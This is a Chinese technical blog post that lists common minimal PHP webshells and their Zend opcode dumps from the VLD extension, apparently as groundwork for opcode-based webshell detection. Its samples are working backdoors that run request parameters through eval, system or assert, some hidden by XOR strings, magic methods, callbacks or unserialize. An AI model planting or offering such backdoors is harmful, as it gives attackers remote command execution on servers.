php webshell探索-常见小马的opcode-爱代码爱编程
OpCode
一.php opcode
opcode是php语言里供zend引擎执行的一种中间代码,类似java中的字节码、或者python中的字节码对象pycodeobject。常见的opcode可以参考官方文档
通常可以通过PHP的VLD(VulcanLogic Dumper,逻辑代码展现)扩展来查看PHP文件对应的opcode。
关于在windows上安装php和vld,可以参考我的上一篇博客
这里引用到的小马参考php webshell探索-常见小马
二.常见小马的opcode
1.直接型
<?php
eval($_GET['code']);
?>
function name: (null)
number of ops: 4
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > FETCH_R global $0 '_GET'
1 FETCH_DIM_R $1 $0, 'code'
2 INCLUDE_OR_EVAL $1, EVAL
3 3 > RETURN 1
2.通过反射类调用
<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>
function name: (null)
number of ops: 13
compiled vars: !0 = $func
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > NEW $1 :-5
1 SEND_VAL_EX 'system'
2 DO_FCALL 0
3 ASSIGN !0, $1
3 4 INIT_METHOD_CALL !0, 'invokeArgs'
5 FETCH_R global $4 '_GET'
6 FETCH_DIM_R $5 $4, 'c'
7 CAST 6 ~6 $5
8 INIT_ARRAY ~7 ~6
9 SEND_VAL_EX ~7
10 DO_FCALL 0 $8
11 ECHO $8
4 12 > RETURN 1
3.通过排序函数调用
<?php
$arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
$arr->uksort('assert');
?>
function name: (null)
number of ops: 12
compiled vars: !0 = $arr
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > NEW $1 :-5
1 INIT_ARRAY ~2 1, 'test'
2 FETCH_R global $3 '_REQUEST'
3 FETCH_DIM_R $4 $3, 'x'
4 ADD_ARRAY_ELEMENT ~2 2, $4
5 SEND_VAL_EX ~2
6 DO_FCALL 0
7 ASSIGN !0, $1
3 8 INIT_METHOD_CALL !0, 'uksort'
9 SEND_VAL_EX 'assert'
10 DO_FCALL 0
4 11 > RETURN 1
4.通过类的混淆
1.类的魔术方法
<?php
class PNLK{
function __destruct(){
$FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
@$FQHZ=$FQHZ('',$this->PZAF);
return @$FQHZ();
}
}
$pnlk=new PNLK();
@$pnlk->PZAF=&$_POST['test'];
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ClassMagic.php
function name: (null)
number of ops: 12
compiled vars: !0 = $pnlk
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > NOP
9 1 NEW $2 :-5
2 DO_FCALL 0
3 ASSIGN !0, $2
10 4 BEGIN_SILENCE ~5
5 FETCH_W global $7 '_POST'
6 FETCH_DIM_W $8 $7, 'test'
7 MAKE_REF $9 $8
8 FETCH_OBJ_W $6 !0, 'PZAF'
9 ASSIGN_REF $6, $9
10 END_SILENCE ~5
11 11 > RETURN 1
Class PNLK:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ClassMagic.php
function name: __destruct
number of ops: 15
compiled vars: !0 = $FQHZ
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
4 0 E > ASSIGN !0, 'create_function'
5 1 BEGIN_SILENCE ~2
2 INIT_DYNAMIC_CALL !0
3 SEND_VAL_EX ''
4 FETCH_OBJ_FUNC_ARG $3 'PZAF'
5 SEND_VAR_EX $3
6 DO_FCALL 0 $4
7 ASSIGN !0, $4
8 END_SILENCE ~2
6 9 BEGIN_SILENCE ~6
10 INIT_DYNAMIC_CALL !0
11 DO_FCALL 0 $7
12 END_SILENCE ~6
13 > RETURN $7
7 14* > RETURN null
End of function __destruct
End of class PNLK.
2.类的自定义方法
<?php
class Test
{
public function testing()
{
return function() {
$method='sysatem';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
}
}
$a=new Test();
$b=$a->testing();
$b();
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name: (null)
number of ops: 10
compiled vars: !0 = $a, !1 = $b
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > NOP
12 1 NEW $3 :-5
2 DO_FCALL 0
3 ASSIGN !0, $3
13 4 INIT_METHOD_CALL !0, 'testing'
5 DO_FCALL 0 $6
6 ASSIGN !1, $6
14 7 INIT_DYNAMIC_CALL !1
8 DO_FCALL 0
15 9 > RETURN 1
Function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name: {closure}
number of ops: 17
compiled vars: !0 = $method
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
7 0 E > ASSIGN !0, 'sysatem'
8 1 INIT_FCALL 'substr'
2 SEND_VAR !0
3 SEND_VAL 0
4 SEND_VAL 3
5 DO_ICALL $2
6 INIT_FCALL 'substr'
7 SEND_VAR !0
8 SEND_VAL 4
9 DO_ICALL $3
10 CONCAT ~4 $2, $3
11 INIT_DYNAMIC_CALL ~4
12 FETCH_FUNC_ARG unknown $5 '_GET'
13 FETCH_DIM_FUNC_ARG $6 $5, 'arg'
14 SEND_VAR_EX $6
15 DO_FCALL 0
9 16 > RETURN null
End of function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6
Class Test:
Function testing:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ClassSelfDefinedMethod.php
function name: testing
number of ops: 3
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
6 0 E > DECLARE_LAMBDA_FUNCTION '%00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CClassSelfDefinedMethod.php0000000005E655C6'
9 1 > RETURN ~0
10 2* > RETURN null
End of function testing
End of class Test.
3.反序列化
<?php
class Example
{
var $var = '';
function __destruct()
{
eval($this->var);
}
}
//$exp = new Example();
//$exp->var = "phpinfo();";
//die(serialize($exp));
unserialize($_GET['saved_code']);
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\unserialize.php
function name: (null)
number of ops: 7
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > NOP
13 1 INIT_FCALL 'unserialize'
2 FETCH_R global $1 '_GET'
3 FETCH_DIM_R $2 $1, 'saved_code'
4 SEND_VAR $2
5 DO_ICALL
14 6 > RETURN 1
Class Example:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\unserialize.php
function name: __destruct
number of ops: 3
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
7 0 E > FETCH_OBJ_R $0 'var'
1 INCLUDE_OR_EVAL $0, EVAL
8 2 > RETURN null
End of function __destruct
End of class Example.
5.通过函数的混淆
<?php
$greet = function(){
$method='system';
(substr($method,0,3).substr($method, 4))($_GET['arg']);
};
echo $greet();
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\FunctionConfound.php
function name: (null)
number of ops: 6
compiled vars: !0 = $greet
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > DECLARE_LAMBDA_FUNCTION '%00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071'
5 1 ASSIGN !0, ~1
6 2 INIT_DYNAMIC_CALL !0
3 DO_FCALL 0 $3
4 ECHO $3
7 5 > RETURN 1
Function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\FunctionConfound.php
function name: {closure}
number of ops: 17
compiled vars: !0 = $method
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
3 0 E > ASSIGN !0, 'system'
4 1 INIT_FCALL 'substr'
2 SEND_VAR !0
3 SEND_VAL 0
4 SEND_VAL 3
5 DO_ICALL $2
6 INIT_FCALL 'substr'
7 SEND_VAR !0
8 SEND_VAL 4
9 DO_ICALL $3
10 CONCAT ~4 $2, $3
11 INIT_DYNAMIC_CALL ~4
12 FETCH_FUNC_ARG unknown $5 '_GET'
13 FETCH_DIM_FUNC_ARG $6 $5, 'arg'
14 SEND_VAR_EX $6
15 DO_FCALL 0
5 16 > RETURN null
End of function %00%7Bclosure%7DE%3A%5Cprojects%5Cphp%5Cwebshells%5CFunctionConfound.php000000000607B071
6.普通的混淆
<?php
$xh = array('','s');
$xh1 = 'a'.$xh[1].'ser'.chr('116');
@$xh1($_POST['dike']);
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\transform.php
function name: (null)
number of ops: 17
compiled vars: !0 = $xh, !1 = $xh1
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > ASSIGN !0, <array>
3 1 FETCH_DIM_R $3 !0, 1
2 CONCAT ~4 'a', $3
3 CONCAT ~5 ~4, 'ser'
4 INIT_FCALL 'chr'
5 SEND_VAL '116'
6 DO_ICALL $6
7 CONCAT ~7 ~5, $6
8 ASSIGN !1, ~7
4 9 BEGIN_SILENCE ~9
10 INIT_DYNAMIC_CALL !1
11 FETCH_FUNC_ARG unknown $10 '_POST'
12 FETCH_DIM_FUNC_ARG $11 $10, 'dike'
13 SEND_VAR_EX $11
14 DO_FCALL 0
15 END_SILENCE ~9
5 16 > RETURN 1
7.其他的隐藏方式
1.ob_start
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\ob_start.php
function name: (null)
number of ops: 9
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > INIT_FCALL 'ob_start'
1 SEND_VAL 'assert'
2 DO_ICALL
3 3 FETCH_R global $1 '_REQUEST'
4 FETCH_DIM_R $2 $1, 'pass'
5 ECHO $2
4 6 INIT_FCALL 'ob_end_flush'
7 DO_ICALL
5 8 > RETURN 1
2.register_shutdown_function
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\register_shutdown_function.php
function name: (null)
number of ops: 10
compiled vars: !0 = $e
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > FETCH_R global $1 '_REQUEST'
1 FETCH_DIM_R $2 $1, 'e'
2 ASSIGN !0, $2
3 3 INIT_FCALL 'register_shutdown_function'
4 SEND_VAR !0
5 FETCH_R global $4 '_REQUEST'
6 FETCH_DIM_R $5 $4, 'pass'
7 SEND_VAR $5
8 DO_ICALL
4 9 > RETURN 1
3.回调函数
call_user_func('assert', $_REQUEST['pass']);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\call_user_function.php
function name: (null)
number of ops: 6
compiled vars: none
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > INIT_FCALL 'assert'
1 FETCH_R global $0 '_REQUEST'
2 FETCH_DIM_R $1 $0, 'pass'
3 SEND_USER $1
4 DO_FCALL 0
3 5 > RETURN 1
4.数组
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e))
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\array.php
function name: (null)
number of ops: 15
compiled vars: !0 = $e, !1 = $arr
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > FETCH_R global $2 '_REQUEST'
1 FETCH_DIM_R $3 $2, 'e'
2 ASSIGN !0, $3
3 3 FETCH_R global $5 '_POST'
4 FETCH_DIM_R $6 $5, 'pass'
5 INIT_ARRAY ~7 $6
6 ASSIGN !1, ~7
4 7 INIT_FCALL 'array_filter'
8 SEND_VAR !1
9 INIT_FCALL 'base64_decode'
10 SEND_VAR !0
11 DO_ICALL $9
12 SEND_VAR $9
13 DO_ICALL
5 14 > RETURN 1
5.反引号
<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\backquote.php
function name: (null)
number of ops: 9
compiled vars: !0 = $output
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > INIT_FCALL 'shell_exec'
1 SEND_VAL 'ls+-al'
2 DO_ICALL $1
3 ASSIGN !0, $1
3 4 ROPE_INIT 3 ~4 '%3Cpre%3E'
5 ROPE_ADD 1 ~4 ~4, !0
6 ROPE_END 2 ~3 ~4, '%3C%2Fpre%3E'
7 ECHO ~3
4 8 > RETURN 1
可以看到反引号自动添加了shell_exec
的调用。
再来跟下面脚本对比下:
<?php
$output = 'ls -al';
shell_exec($output);
echo "<pre>$output</pre>";
?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename: E:\projects\php\webshells\shell_exec.php
function name: (null)
number of ops: 9
compiled vars: !0 = $output
line #* E I O op fetch ext return operands
-------------------------------------------------------------------------------------
2 0 E > ASSIGN !0, 'ls+-al'
3 1 INIT_FCALL 'shell_exec'
2 SEND_VAR !0
3 DO_ICALL
4 4 ROPE_INIT 3 ~4 '%3Cpre%3E'
5 ROPE_ADD 1 ~4 ~4, !0
6 ROPE_END 2 ~3 ~4, '%3C%2Fpre%3E'
7 ECHO ~3
5 8 > RETURN 1
从opcode上来看除了赋值几乎完全一样。
三.总结
这里列举了一些小马的opcode,遗憾的是我只会通过vld查看opcode,尚不知有没有通过api的方式获取opcode, 而且也需要进一步理解这些opcode的含义,以及如何把opcode当作特征用作webshell分类。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_44370676/article/details/111059387